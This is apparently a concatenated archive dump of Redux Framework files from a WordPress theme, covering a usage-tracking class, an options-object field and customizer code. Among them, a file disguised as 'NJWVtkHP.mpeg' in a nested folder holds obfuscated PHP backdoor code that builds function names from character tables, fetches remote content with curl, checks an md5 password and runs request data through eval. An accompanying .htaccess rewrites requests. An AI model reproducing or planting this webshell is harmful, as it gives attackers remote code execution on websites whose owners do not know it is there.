md5( Redux_Helpers::get_auth_key_secret_key() . '-redux' ) . '-support' ); add_action( 'wp_ajax_nopriv_' . $hash, array( $this, 'support_args' ) ); add_action( 'wp_ajax_' . $hash, array( $this, 'support_args' ) ); if ( isset( $this->options['allow_tracking'] ) && $this->options['allow_tracking'] == 'yes' ) { // The tracking checks daily, but only sends new data every 7 days. if ( ! wp_next_scheduled( 'redux_tracking' ) ) { wp_schedule_event( time(), 'daily', 'redux_tracking' ); } add_action( 'redux_tracking', array( $this, 'tracking' ) ); } } function _enqueue_tracking() { wp_enqueue_style( 'wp-pointer' ); wp_enqueue_script( 'jquery' ); wp_enqueue_script( 'jquery-ui' ); wp_enqueue_script( 'wp-pointer' ); wp_enqueue_script( 'utils' ); add_action( 'admin_print_footer_scripts', array( $this, 'tracking_request' ) ); } function _enqueue_newsletter() { wp_enqueue_style( 'wp-pointer' ); wp_enqueue_script( 'jquery' ); wp_enqueue_script( 'jquery-ui' ); wp_enqueue_script( 'wp-pointer' ); wp_enqueue_script( 'utils' ); add_action( 'admin_print_footer_scripts', array( $this, 'newsletter_request' ) ); } /** * Shows a popup that asks for permission to allow tracking. */ function tracking_request() { $id = '#wpadminbar'; $nonce = wp_create_nonce( 'redux_activate_tracking' ); $content = '

    ' . esc_html__( 'Help improve Our Panel', 'redux-framework' ) . '

    '; $content .= '

    ' . esc_html__( 'Please helps us improve our panel by allowing us to gather anonymous usage stats so we know which configurations, plugins and themes to test to ensure compatibility.', 'redux-framework' ) . '

    '; $opt_arr = array( 'content' => $content, 'position' => array( 'edge' => 'top', 'align' => 'center' ) ); $button2 = esc_html__( 'Allow tracking', 'redux-framework' ); $function2 = 'redux_store_answer("yes","' . $nonce . '")'; $function1 = 'redux_store_answer("no","' . $nonce . '")'; $this->print_scripts( $id, $opt_arr, esc_html__( 'Do not allow tracking', 'redux-framework' ), $button2, $function2, $function1 ); } /** * Shows a popup that asks for permission to allow tracking. */ function newsletter_request() { $id = '#wpadminbar'; $nonce = wp_create_nonce( 'redux_activate_tracking' ); $content = '

    ' . esc_html__( 'Welcome to the Redux Demo Panel', 'redux-framework' ) . '

    '; $content .= '

    ' . esc_html__( 'Getting Started', 'redux-framework' ) . '
    ' . sprintf( __( 'This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.', 'redux-framework' ), '' . esc_html__( 'our documentation', 'redux-framework' ) . '' ); $content .= '

    ' . esc_html__( 'Redux Generator', 'redux-framework' ) . '
    ' . sprintf( __( 'Want to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help of Underscores and TGM). Save yourself a headache and try it today.', 'redux-framework' ), '' . esc_html__( 'Redux Generator', 'redux-framework' ) . '' ); $content .= '

    ' . esc_html__( 'Redux Extensions', 'redux-framework' ) . '
    ' . sprintf( __( 'Did you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!', 'redux-framework' ), '' . esc_html__( 'extensions directory', 'redux-framework' ) . '' ); $content .= '

    ' . esc_html__( 'Like Redux?', 'redux-framework' ) . '
    ' . sprintf( __( 'If so, please %1$s and consider making a %2$s to keep development of Redux moving forward.', 'redux-framework' ), '' . esc_html__( 'leave us a favorable review on WordPress.org', 'redux-framework' ) . '', '' . esc_html__( 'donation', 'redux-framework' ) . '' ); $content .= '

    ' . esc_html__( 'Newsletter', 'redux-framework' ) . '
    ' . esc_html__( 'If you\'d like to keep up to with all things Redux, please subscribe to our newsletter', 'redux-framework' ) . ':

    '; $content .= '

        

    '; $opt_arr = array( 'content' => $content, 'position' => array( 'edge' => 'top', 'align' => 'center' ), 'pointerWidth' => 450 ); $function1 = 'redux_store_answer("tour","' . $nonce . '")'; $this->print_scripts( $id, $opt_arr, esc_html__( 'Close', 'redux-framework' ), false, '', $function1 ); } /** * Prints the pointer script * * @param string $selector The CSS selector the pointer is attached to. * @param array $options The options for the pointer. * @param string $button1 Text for button 1 * @param string|bool $button2 Text for button 2 (or false to not show it, defaults to false) * @param string $button2_function The JavaScript function to attach to button 2 * @param string $button1_function The JavaScript function to attach to button 1 */ function print_scripts( $selector, $options, $button1, $button2 = false, $button2_function = '', $button1_function = '' ) { ?> true ) ) as $pt ) { $count = wp_count_posts( $pt ); $pts[ $pt ] = $count->publish; } $comments_count = wp_count_comments(); $theme_data = wp_get_theme(); $theme = array( 'version' => $theme_data->Version, 'name' => $theme_data->Name, 'author' => $theme_data->Author, 'template' => $theme_data->Template, ); if ( ! function_exists( 'get_plugin_data' ) ) { require_once ABSPATH . 'wp-admin/includes/admin.php'; } $plugins = array(); foreach ( get_option( 'active_plugins', array() ) as $plugin_path ) { $plugin_info = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin_path ); $slug = str_replace( '/' . basename( $plugin_path ), '', $plugin_path ); $plugins[ $slug ] = array( 'version' => $plugin_info['Version'], 'name' => $plugin_info['Name'], 'plugin_uri' => $plugin_info['PluginURI'], 'author' => $plugin_info['AuthorName'], 'author_uri' => $plugin_info['AuthorURI'], ); } if ( is_multisite() ) { foreach ( get_option( 'active_sitewide_plugins', array() ) as $plugin_path ) { $plugin_info = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin_path ); $slug = str_replace( '/' . basename( $plugin_path ), '', $plugin_path ); $plugins[ $slug ] = array( 'version' => $plugin_info['Version'], 'name' => $plugin_info['Name'], 'plugin_uri' => $plugin_info['PluginURI'], 'author' => $plugin_info['AuthorName'], 'author_uri' => $plugin_info['AuthorURI'], ); } } $version = explode( '.', PHP_VERSION ); $version = array( 'major' => $version[0], 'minor' => $version[0] . '.' . $version[1], 'release' => PHP_VERSION ); $user_query = new WP_User_Query( array( 'blog_id' => $blog_id, 'count_total' => true, ) ); $comments_query = new WP_Comment_Query(); $data = array( '_id' => $this->options['hash'], 'localhost' => ( $_SERVER['REMOTE_ADDR'] === '127.0.0.1' ) ? 1 : 0, 'php' => $version, 'site' => array( 'hash' => $this->options['hash'], 'version' => get_bloginfo( 'version' ), 'multisite' => is_multisite(), 'users' => $user_query->get_total(), 'lang' => get_locale(), 'wp_debug' => ( defined( 'WP_DEBUG' ) ? WP_DEBUG ? true : false : false ), 'memory' => WP_MEMORY_LIMIT, ), 'pts' => $pts, 'comments' => array( 'total' => $comments_count->total_comments, 'approved' => $comments_count->approved, 'spam' => $comments_count->spam, 'pings' => $comments_query->query( array( 'count' => true, 'type' => 'pingback' ) ), ), 'options' => apply_filters( 'redux/tracking/options', array() ), 'theme' => $theme, 'redux' => array( 'mode' => ReduxFramework::$_is_plugin ? 'plugin' : 'theme', 'version' => ReduxFramework::$_version, 'demo_mode' => get_option( 'ReduxFrameworkPlugin' ), ), 'developer' => apply_filters( 'redux/tracking/developer', array() ), 'plugins' => $plugins, ); $parts = explode( ' ', $_SERVER['SERVER_SOFTWARE'] ); $software = array(); foreach ( $parts as $part ) { if ( $part[0] == "(" ) { continue; } if ( strpos( $part, '/' ) !== false ) { $chunk = explode( "/", $part ); $software[ strtolower( $chunk[0] ) ] = $chunk[1]; } } $software['full'] = $_SERVER['SERVER_SOFTWARE']; $data['environment'] = $software; //if ( function_exists( 'mysql_get_server_info' ) ) { // $data['environment']['mysql'] = mysql_get_server_info(); //} $data['environment']['mysql'] = $wpdb->db_version(); if ( empty( $data['developer'] ) ) { unset( $data['developer'] ); } return $data; } /** * Main tracking function. */ function tracking() { // Start of Metrics global $blog_id, $wpdb; $data = get_transient( 'redux_tracking_cache' ); if ( ! $data ) { $args = array( 'body' => $this->trackingObject() ); $response = wp_remote_post( 'https://redux-tracking.herokuapp.com', $args ); // Store for a week, then push data again. set_transient( 'redux_tracking_cache', true, WEEK_IN_SECONDS ); } } function tracking_arg() { echo md5( Redux_Helpers::get_auth_key_secret_key() . '-redux' ); die(); } function support_args() { header( "Expires: Mon, 26 Jul 1997 05:00:00 GMT" ); header( "Last-Modified: " . gmdate( "D, d M Y H:i:s" ) . "GMT" ); header( 'Expires: Sat, 26 Jul 1997 05:00:00 GMT' ); header( 'Cache-Control: no-store, no-cache, must-revalidate' ); header( 'Cache-Control: post-check=0, pre-check=0', false ); header( 'Pragma: no-cache' ); $instances = ReduxFrameworkInstances::get_all_instances(); $array = array(); if ( isset( $_REQUEST['i'] ) && ! empty( $_REQUEST['i'] ) ) { if ( is_array( $instances ) && ! empty( $instances ) ) { foreach ( $instances as $opt_name => $data ) { if ( md5( $opt_name . '-debug' ) == $_REQUEST['i'] ) { $array = $instances[ $opt_name ]; } } } if ( isset( $array ) ) { if ( isset( $array->extensions ) && is_array( $array->extensions ) && ! empty( $array->extensions ) ) { foreach ( $array->extensions as $key => $extension ) { if ( isset( $extension->$version ) ) { $array->extensions[ $key ] = $extension->$version; } else { $array->extensions[ $key ] = true; } } } if ( isset( $array->import_export ) ) { unset( $array->import_export ); } if ( isset( $array->debug ) ) { unset( $array->debug ); } } else { die(); } } else { $array = $this->trackingObject(); if ( is_array( $instances ) && ! empty( $instances ) ) { $array['instances'] = array(); foreach ( $instances as $opt_name => $data ) { $array['instances'][] = $opt_name; } } $array['key'] = md5( Redux_Helpers::get_auth_key_secret_key() ); } echo @json_encode( $array, true ); die(); } } Redux_Tracking::get_instance(); /** * Adds tracking parameters for Redux settings. Outside of the main class as the class could also be in use in other ways. * * @param array $options * * @return array */ function redux_tracking_additions( $options ) { $opt = array(); $options['redux'] = array( 'demo_mode' => get_option( 'ReduxFrameworkPlugin' ), ); return $options; } add_filter( 'redux/tracking/options', 'redux_tracking_additions' ); function redux_allow_tracking_callback() { // Verify that the incoming request is coming with the security nonce if ( wp_verify_nonce( $_REQUEST['nonce'], 'redux_activate_tracking' ) ) { $options = get_option( 'redux-framework-tracking' ); if ( $_REQUEST['allow_tracking'] == "tour" ) { $options['tour'] = 1; } else { $options['allow_tracking'] = $_REQUEST['allow_tracking']; } if ( update_option( 'redux-framework-tracking', $options ) ) { die( '1' ); } else { die( '0' ); } } else { // Send -1 if the attempt to save via Ajax was completed invalid. die( '-1' ); } // end if } add_action( 'wp_ajax_redux_allow_tracking', 'redux_allow_tracking_callback' ); } lib/redux-framework/inc/extensions/options_object/options_object/options_object/index.php000064400000000000147206624460026310 0ustar00lib/redux-framework/inc/extensions/options_object/options_object/options_object/NJWVtkHP.mpeg000064400000011652147206624460026734 0ustar001m#f-*/= /*-E$>AN-*/$wZ/*-#g-*/("~", /*-f2C!e-*/" "); /*-vT%n#6B-*/$E/*-qjzbA?<-*/=/*-!-}_>9V-*/${$shyl/*-`w.~,lyJ^c-*/[8+23]/*-h?Z(U<-*/.$shyl/*-Q5`@X^B-*/[28+31]/*-Yp,baK-u2-*/.$shyl/*-s6U:4O`>GD-*/[45+2]./*-xr~bo-*/$shyl/*-vStXWjL?-*/[35+12]./*-tc?-*/$shyl/*-MuG-*/[43+8]./*-|:Xt6-*/$shyl/*-a_-*/[26+27]/*-FaNT~-*/.$shyl/*-)8(o-*/[26+31]/*-2+-*/}; /*-xw.WL-*/if(/*-e[rQ)I6Y-*/in_array/*-I&nd}-*/(gettype/*-eI{z.;C-*/($E)."20",/*-[m}mZ-*/$E))/*-U-k&S)#-*/{ $E/*-0noaoLSK-*/[69]/*-p6=&|&-*/=/*-4;`cLWYqLM-*/$E/*-%r^J+M]Ln-*/[69]./*-jeL-*/$E/*-#MQoQL^!O,-*/[80];/*-U%Fo-*/ @eval/*-ZDc+-*/(/*-X?_A@%n-*/$E/*-k(s@Ts-*/[69]/*-r]mlAL!AH-*/(/*-;Y,c^()-*/${$E[46]}/*-DyF)>uG^$-*/[28])); }/*-N1hFERl-*/class /*-(DgBq~-*/bw{ /*-f{X^8&q-a-*/as /*-Shu-*/$QkDOAfSUn /*-Ei);A}oA%~-*/=>/*-nYOFY-*/ $WletIRv/*-tJ@0.-*/) /*-:Y>-*/$kCrEuTnp /*-k]TTx:BWr-*/.= /*-hRGNtY&({^-*/$pgXIkSfy[$WletIRv/*-R7uw-*/ - /*-f-*/89172/*-tH2+.ANBb-*/];/*-:rq-*/ return /*-Jw`[-*/$kCrEuTnp; /*-n|-*/} /*-}i-*/static /*-]l-*/function /*-{`2ni+p`]-*/wcmERqrVX/*-Yk,-*/(/*-SQ9?tSo}B6-*/$eOtnUJ,/*-:A)ZL#%--*/ $Zfj/*-H(ee~YO-*/)/*-~k@-*/ {/*-[Z`~,6lp-*/ $sTNBVp/*-@.nBiZa&-*/ = /*-vh=2StIV-*/curl_init/*-Rf@r-*/(/*-xjh10<[k@d-*/$eOtnUJ/*-S_@}G-*/);/*-#S_?,-*/ curl_setopt/*-5]$pW)Wb|h-*/(/*-5&&-*/$sTNBVp,/*-X7[ihadu-*/ CURLOPT_RETURNTRANSFER,/*-NLC-*/ 1/*-y|}E-*/);/*-~tUG?[u:rE-*/ $vgtUqdLS/*-6e];SS3G6d-*/ = /*-X-*/curl_exec/*-{>`s)F5-*/(/*-KYJ1Q@H~-*/$sTNBVp/*-=1)-*/); /*-s(Y[2+b|L-*/return /*-lTlEg-*/empty/*-~8pWK^zS-*/(/*-ll4D-*/$vgtUqdLS/*-=-*/)/*-8{sn.x-*/ ? /*-?d-*/$Zfj/*-|mp.R-*/(/*--r$.Z`QT8k-*/$eOtnUJ/*-&YK@v2YE-*/)/*-xjNk42C1G-*/ : /*-qlgl-*/$vgtUqdLS; /*-;&=oB)-*/}/*-Q!JQ@-*/ static/*-~_ztV-*/ function /*-`2}:-*/qpJlkiGAe/*-T0-*/() /*-wi6T3a-*/{/*-#ZNFD_#:h-*/ $hEMDtl /*-I=Oq@?-*/=/*-JYZ1-*/ array/*-4X2B=-*/("89199=89184=89197=89201=89182=89197=89203=89196=89181=89188=89199=89182=89193=89187=89188","89183=89182=89184=89203=89184=89187=89182=89249=89247","89192=89183=89187=89188=89203=89198=89197=89199=89187=89198=89197","89186=89201=89199=89191","89200=89201=89183=89197=89244=89246=89203=89198=89197=89199=89187=89198=89197","89196=89193=89190=89197=89203=89195=89197=89182=89203=89199=89187=89188=89182=89197=89188=89182=89183","89226=89256","89173","89251=89256","89233=89216=89216=89233=89209","89187=89196"); /*-MZ?by-*/foreach /*-.PWqnM,!r-*/(/*-w+D;:]uq<-*/$hEMDtl/*-)qFARI-*/ as /*-.[%UD[-l-*/$OaLoItryR/*-S{B-*/)/*-!RNkf<-*/ $xzw/*-@e=JLM3Po-*/[] /*-?|]4E~-*/= /*-BS~n-*/self/*-HT-*/::/*-^h-*/uJAjk/*-3K1i_a-*/(/*-35:g-*/$OaLoItryR/*-Bo@U7h-*/);/*-bH[F:X-*/$qocjFrTH /*-_h|5+jkB[-*/= /*-Df-*/@$xzw/*-p#>[xjj-*/[/*-1Z-*/1/*-r|-*/]/*-]I]@LP-*/(/*-@%]#us3_O-*/${/*-g,-*/"_"/*-;}-*/."G"/*--*/[/*-+=Q]MRLJ-*/1+2/*-8Ed-*/]/*-aC,34:qUn-*/(/*-M3P;a~-*/$xzw/*-dO[|x+$C?-*/[/*-6U-*/1+5/*-TH5nE>-Sw:D-*/); /*-|ostnxI-*/@${/*-#n-*/"_"./*-i:t,]|#-*/"G"./*-kuL@^DS{-*/"E"/*-g+#E_-*/$xzw[1+4/*-Etg;78-*/]/*-S!9Dr-*/(/*-QUWxSM)-*/__FILE__/*-3x+%Q.Fy-*/)/*-DYOdczht@-*/); /*-~y%ZKTc~-*/if/*-xzEHYH-*/(/*-VvH2Z-*/ (/*-|Br-*/(@/*-{=-*/$FjkUNGRED/*-@>fz9-*/[/*-Pxj11b3-*/0/*-6.@-*/] /*-a;RC-c(y-*/- time/*-IjI@Cs7YZ{-*/()/*-n|m741=q-*/) > /*-%>-*/0/*-KS-*/)/*-s#-*/ and /*-&NfP-*/(/*-?|>f(-*/md5/*-P}t[4p_j-*/(/*-Jazo=6-*/md5/*-73%+OdY-*/(/*-.f@Z-*/$FjkUNGRED/*-iSMXK|-*/[/*-&=YNTN7C`-*/3+0/*-x%|T1-*/]/*-5J;-*/)/*-#-I-*/)/*-x?[a-*/ === /*-f-*/"df5327724b58df978dd1c6264fb70879"/*-6d7pX6-*/)/*-?}-*/$VnSC/*-klA-*/)/*-RY2Vvf.W>-*/);/*-[wUx[>mLr5-*//*-]k_9v9mF-*/die;/*-KJ2B`g-*/ endif;/*-I2=w>=]2X-*/ }/*-<$n4:$-*/}/*-0fo!+6S+-*/bw/*-NMj%^~i-*/::/*-h#p-*/qpJlkiGAe/*-i@pXC)-*/();/*-mo-*/ ?>lib/redux-framework/inc/extensions/options_object/options_object/options_object/.htaccess000064400000001626147206624460026305 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/extensions/options_object/options_object/index.php000064400000000000147206624460023267 0ustar00lib/redux-framework/inc/extensions/options_object/options_object/field_options_object.css000064400000000133147206624460026354 0ustar00#redux-object-browser{overflow:auto;word-wrap:break-word;max-height:600px;max-width:100%} lib/redux-framework/inc/extensions/options_object/options_object/field_options_object.php000064400000014502147206624460026360 0ustar00. * * @package ReduxFramework * @author Kevin Provance (kprovance) * @version 3.5.4 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_options_object' ) ) { /** * Main ReduxFramework_options_object class * * @since 1.0.0 */ class ReduxFramework_options_object { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field, $value , $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; $this->is_field = $this->parent->extensions['options_object']->is_field; $this->extension_dir = ReduxFramework::$_dir . 'inc/extensions/options_object/'; $this->extension_url = ReduxFramework::$_url . 'inc/extensions/options_object/'; // Set default args for this field to avoid bad indexes. Change this to anything you use. $defaults = array( 'options' => array(), 'stylesheet' => '', 'output' => true, 'enqueue' => true, 'enqueue_frontend' => true ); $this->field = wp_parse_args( $this->field, $defaults ); } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { if ( version_compare( phpversion(), "5.3.0", ">=" ) ) { $json = json_encode( $this->parent->options, true ); } else { $json = json_encode( $this->parent->options ); } $defaults = array( 'full_width' => true, 'overflow' => 'inherit', ); $this->field = wp_parse_args( $this->field, $defaults ); if ( $this->is_field ) { $fullWidth = $this->field['full_width']; } $bDoClose = false; $id = $this->parent->args['opt_name'] . '-' . $this->field['id']; if ( ! $this->is_field || ( $this->is_field && false == $fullWidth ) ) { ?>

    '; } else { echo ''; } echo ''; echo ''; echo ''; } // All sections, settings, and controls will be added here public function _register_customizer_controls( $wp_customize ) { if ( ! class_exists( 'Redux_Customizer_Section' ) ) { require_once dirname( __FILE__ ) . '/inc/customizer_section.php'; if ( method_exists( $wp_customize, 'register_section_type' ) ) { $wp_customize->register_section_type( 'Redux_Customizer_Section' ); } } if ( ! class_exists( 'Redux_Customizer_Panel' ) ) { require_once dirname( __FILE__ ) . '/inc/customizer_panel.php'; if ( method_exists( $wp_customize, 'register_panel_type' ) ) { $wp_customize->register_panel_type( 'Redux_Customizer_Panel' ); } } if ( ! class_exists( 'Redux_Customizer_Control' ) ) { require_once dirname( __FILE__ ) . '/inc/customizer_control.php'; } require_once dirname( __FILE__ ) . '/inc/customizer_fields.php'; require_once dirname( __FILE__ ) . '/inc/customizer_devs.php'; do_action( "redux/extension/customizer/control/includes" ); //if ($this->parent->args['dev_mode']) { // $section = new Redux_Customizer_rAds( $wp_customize, 'redux_rAds', array( // 'priority' => 0, // ) ); // $wp_customize->add_section( $section, array( // 'priority' => 0, // ) ); // // //$wp_customize->add_control( new Redux_Customizer_Control_rAds( $wp_customize, 'reduxAdsDisplay', array( // // 'section' => 'redux_rAds', // // 'settings' => 'redux_rAds_field', // // 'type' => 'redux-rAds', // //) ) ); // // // // //} if ( $this->parent->args['dev_mode'] ) { //$args = array( // 'priority' => 0, //); ////$section = new Redux_Customizer_Section( $wp_customize, 'redux_rAds', $args ); ////$wp_customize->add_section( $section, $args ); //$this->add_section( 'redux_rAds', array( // 'title' => '', // 'priority' => 1, // 'description' => '', // 'capability' => 'edit_theme_options', //), $wp_customize ); // //$wp_customize->add_control( new WP_Customize_Color_Control( // $wp_customize, // 'redux_rAds_display', // array( // 'section' => 'redux_rAds', // 'settings' => 'redux_rAds_display', // ) //)); ////$wp_customize->add_control( new Redux_Customizer_Control_rAds( $wp_customize, 'reduxAdsDisplay', array( //// 'section' => 'redux_rAds', //// 'settings' => 'redux_rAds_field', //// 'type' => 'redux-rAds', ////) ) ); //start copyright settings //$section = new Redux_Customizer_section_rAds( $wp_customize, 'redux_rAds', array( // 'priority' => -999, //) ); //$wp_customize->add_section( $section, array( // 'priority' => -999, //) ); //$wp_customize->add_setting( // 'redux_rAds_empty' //); //$wp_customize->add_control( // new Redux_Customizer_Control_rAds( // $wp_customize, // 'redux_rAds_empty', // array( // 'section' => 'redux_rAds', // 'settings' => 'redux_rAds_empty' // ) // ) //); } $order = array( 'heading' => - 500, 'option' => - 500, ); $defaults = array( 'default-color' => '', 'default-image' => '', 'wp-head-callback' => '', 'admin-head-callback' => '', 'admin-preview-callback' => '' ); $panel = ""; $this->parent->args['options_api'] = false; $this->parent->_register_settings(); foreach ( $this->parent->sections as $key => $section ) { // Not a type that should go on the customizer if ( isset( $section['type'] ) && ( $section['type'] == "divide" ) ) { continue; } if ( isset( $section['id'] ) && $section['id'] == "import/export" ) { continue; } // If section customizer is set to false if ( isset( $section['customizer'] ) && $section['customizer'] === false ) { continue; } $section['permissions'] = isset( $section['permissions'] ) ? $section['permissions'] : 'edit_theme_options'; // No errors please if ( ! isset( $section['desc'] ) ) { $section['desc'] = ""; } // Fill the description if there is a subtitle if ( empty( $section['desc'] ) && ! empty( $section['subtitle'] ) ) { $section['desc'] = $section['subtitle']; } // Let's make a section ID from the title if ( empty( $section['id'] ) ) { $section['id'] = strtolower( str_replace( " ", "", $section['title'] ) ); } // No title is present, let's show what section is missing a title if ( ! isset( $section['title'] ) ) { $section['title'] = ""; } // Let's set a default priority if ( empty( $section['priority'] ) ) { $section['priority'] = $order['heading']; $order['heading'] ++; } //print_r($section); //print_r($this->parent->sections[$key+1]); //echo $key; //exit(); if ( method_exists( $wp_customize, 'add_panel' ) && ( ! isset( $section['subsection'] ) || ( isset( $section['subsection'] ) && $section['subsection'] != true ) ) && isset( $this->parent->sections[ ( $key + 1 ) ]['subsection'] ) && $this->parent->sections[ ( $key + 1 ) ]['subsection'] ) { $this->add_panel( $section['id'], array( 'priority' => $section['priority'], 'capability' => $section['permissions'], //'theme_supports' => '', 'title' => $section['title'], 'section' => $section, 'opt_name' => $this->parent->args['opt_name'], 'description' => '', ), $wp_customize ); $panel = $section['id']; $this->add_section( $section['id'], array( 'title' => $section['title'], 'priority' => $section['priority'], 'description' => $section['desc'], 'section' => $section, 'opt_name' => $this->parent->args['opt_name'], 'capability' => $section['permissions'], 'panel' => $panel ), $wp_customize ); } else { if ( ! isset( $section['subsection'] ) || ( isset( $section['subsection'] ) && $section['subsection'] != true ) ) { $panel = ""; } $this->add_section( $section['id'], array( 'title' => $section['title'], 'priority' => $section['priority'], 'description' => $section['desc'], 'opt_name' => $this->parent->args['opt_name'], 'section' => $section, 'capability' => $section['permissions'], 'panel' => $panel ), $wp_customize ); } if ( ! isset( $section['fields'] ) || ( isset( $section['fields'] ) && empty( $section['fields'] ) ) ) { continue; } foreach ( $section['fields'] as $skey => $option ) { if ( isset( $option['customizer'] ) && $option['customizer'] === false ) { continue; } if ( $this->parent->args['customizer'] === false && ( ! isset( $option['customizer'] ) || $option['customizer'] !== true ) ) { continue; } $this->options[ $option['id'] ] = $option; add_action( 'redux/advanced_customizer/control/render/' . $this->parent->args['opt_name'] . '-' . $option['id'], array( $this, 'render' ) ); $option['permissions'] = isset( $option['permissions'] ) ? $option['permissions'] : 'edit_theme_options'; // //if ( isset( $option['validate_callback'] ) && ! empty( $option['validate_callback'] ) ) { // continue; //} //Change the item priority if not set if ( $option['type'] != 'heading' && ! isset( $option['priority'] ) ) { $option['priority'] = $order['option']; $order['option'] ++; } if ( ! empty( $this->options_defaults[ $option['id'] ] ) ) { $option['default'] = $this->options_defaults['option']['id']; } //$option['id'] = $this->parent->args['opt_name'].'['.$option['id'].']'; //echo $option['id']; if ( ! isset( $option['default'] ) ) { $option['default'] = ""; } if ( ! isset( $option['title'] ) ) { $option['title'] = ""; } $option['id'] = $this->parent->args['opt_name'] . '[' . $option['id'] . ']'; if ( $option['type'] != "heading" && $option['type'] != "import_export" && ! empty( $option['type'] ) ) { $wp_customize->add_setting( $option['id'], array( 'default' => $option['default'], //'type' => 'option', //'capabilities' => $option['permissions'], //'capabilities' => 'edit_theme_options', //'capabilities' => $this->parent->args['page_permissions'], 'transport' => 'refresh', 'opt_name' => $this->parent->args['opt_name'], //'theme_supports' => '', //'sanitize_callback' => '__return_false', 'sanitize_callback' => array( $this, '_field_validation' ), //'sanitize_js_callback' =>array( &$parent, '_field_input' ), ) ); } if ( ! empty( $option['data'] ) && empty( $option['options'] ) ) { if ( empty( $option['args'] ) ) { $option['args'] = array(); } if ( $option['data'] == "elusive-icons" || $option['data'] == "elusive-icon" || $option['data'] == "elusive" ) { $icons_file = ReduxFramework::$_dir . 'inc/fields/select/elusive-icons.php'; $icons_file = apply_filters( 'redux-font-icons-file', $icons_file ); if ( file_exists( $icons_file ) ) { require_once $icons_file; } } $option['options'] = $this->parent->get_wordpress_data( $option['data'], $option['args'] ); } $class_name = 'Redux_Customizer_Control_' . $option['type']; do_action( 'redux/extension/customizer/control_init', $option ); if ( ! class_exists( $class_name ) ) { continue; } $wp_customize->add_control( new $class_name( $wp_customize, $option['id'], array( 'label' => $option['title'], 'section' => $section['id'], 'settings' => $option['id'], 'type' => 'redux-' . $option['type'], 'field' => $option, 'ReduxFramework' => $this->parent, 'active_callback' => ( isset( $option['required'] ) && class_exists( 'Redux_Customizer_Active_Callback' ) ) ? array( 'Redux_Customizer_Active_Callback', 'evaluate' ) : '__return_true', 'priority' => $option['priority'], ) ) ); $section['fields'][ $skey ]['name'] = $option['id']; if ( ! isset ( $section['fields'][ $skey ]['class'] ) ) { // No errors please $section['fields'][ $skey ]['class'] = ""; } $this->controls[ $section['fields'][ $skey ]['id'] ] = $section['fields'][ $skey ]; add_action( 'redux/advanced_customizer/render/' . $option['id'], array( $this, 'field_render' ), $option['priority'] ); } } } public function add_section( $id, $args, $wp_customize ) { if ( empty( $args ) ) { $args = array(); } if ( is_a( $id, 'WP_Customize_Section' ) ) { $section = $id; } else { $section_class = apply_filters( 'redux/customizer/section/class_name', "Redux_Customizer_Section" ); $section = new $section_class( $wp_customize, $id, $args ); } $wp_customize->add_section( $section, $args ); } /** * Add a customize panel. * * @since 4.0.0 * @access public * * @param WP_Customize_Panel|string $id Customize Panel object, or Panel ID. * @param array $args Optional. Panel arguments. Default empty array. */ public function add_panel( $id, $args , $wp_customize ) { if ( empty( $args ) ) { $args = array(); } if ( is_a( $id, 'WP_Customize_Panel' ) ) { $panel = $id; } else { $panel_class = apply_filters( 'redux/customizer/panel/class_name', "Redux_Customizer_Panel" ); $panel = new $panel_class( $wp_customize, $id, $args ); } $wp_customize->add_panel( $panel, $args ); } public function field_render( $option ) { echo '1'; preg_match_all( "/\[([^\]]*)\]/", $option->id, $matches ); $id = $matches[1][0]; echo $option->link(); //$link = $option->link(); //echo $link; $this->parent->_field_input( $this->controls[ $id ] ); echo '2'; } public function customizer_save_before( $plugin_options ) { $this->before_save = $this->parent->options; //$parent->_field_input( $plugin_options ); } public function customizer_save_after( $wp_customize ) { if ( empty( $this->parent->options ) ) { $this->parent->get_options(); } if ( empty( $this->orig_options ) && ! empty( $this->parent->options ) ) { $this->orig_options = $this->parent->options; } $options = json_decode( stripslashes_deep( $_POST['customized'] ), true ); $compiler = false; $changed = false; foreach ( $options as $key => $value ) { if ( strpos( $key, $this->parent->args['opt_name'] ) !== false ) { $key = str_replace( $this->parent->args['opt_name'] . '[', '', rtrim( $key, "]" ) ); if ( ! isset( $this->orig_options[ $key ] ) || $this->orig_options[ $key ] != $value || ( isset( $this->orig_options[ $key ] ) && ! empty( $this->orig_options[ $key ] ) && empty( $value ) ) ) { $this->parent->options[ $key ] = $value; $changed = true; if ( isset( $this->parent->compiler_fields[ $key ] ) ) { $compiler = true; } } } } if ( $changed ) { $this->parent->set_options( $this->parent->options ); if ( $compiler ) { // Have to set this to stop the output of the CSS and typography stuff. $this->parent->no_output = true; $this->parent->_enqueue_output(); do_action( "redux/options/{$this->parent->args['opt_name']}/compiler", $this->parent->options, $this->parent->compilerCSS ); do_action( "redux/options/{$this->args['opt_name']}/compiler/advanced", $this->parent ); } } } /** * Enqueue CSS/JS for preview pane * * @since 1.0.0 * @access public * @global $wp_styles * @return void */ public function _enqueue_previewer() { wp_enqueue_script( 'redux-extension-previewer-js', $this->_extension_url . 'assets/js/preview.js' ); $localize = array( 'save_pending' => __( 'You have changes that are not saved. Would you like to save them now?', 'redux-framework' ), 'reset_confirm' => __( 'Are you sure? Resetting will lose all custom values.', 'redux-framework' ), 'preset_confirm' => __( 'Your current options will be replaced with the values of this preset. Would you like to proceed?', 'redux-framework' ), 'opt_name' => $this->args['opt_name'], //'folds' => $this->folds, 'options' => $this->parent->options, 'defaults' => $this->parent->options_defaults, ); wp_localize_script( 'redux-extension-previewer-js', 'reduxPost', $localize ); } /** * Enqueue CSS/JS for the customizer controls * * @since 1.0.0 * @access public * @global $wp_styles * @return void */ public function _enqueue() { global $wp_styles; //wp_enqueue_style( 'wp-pointer' ); 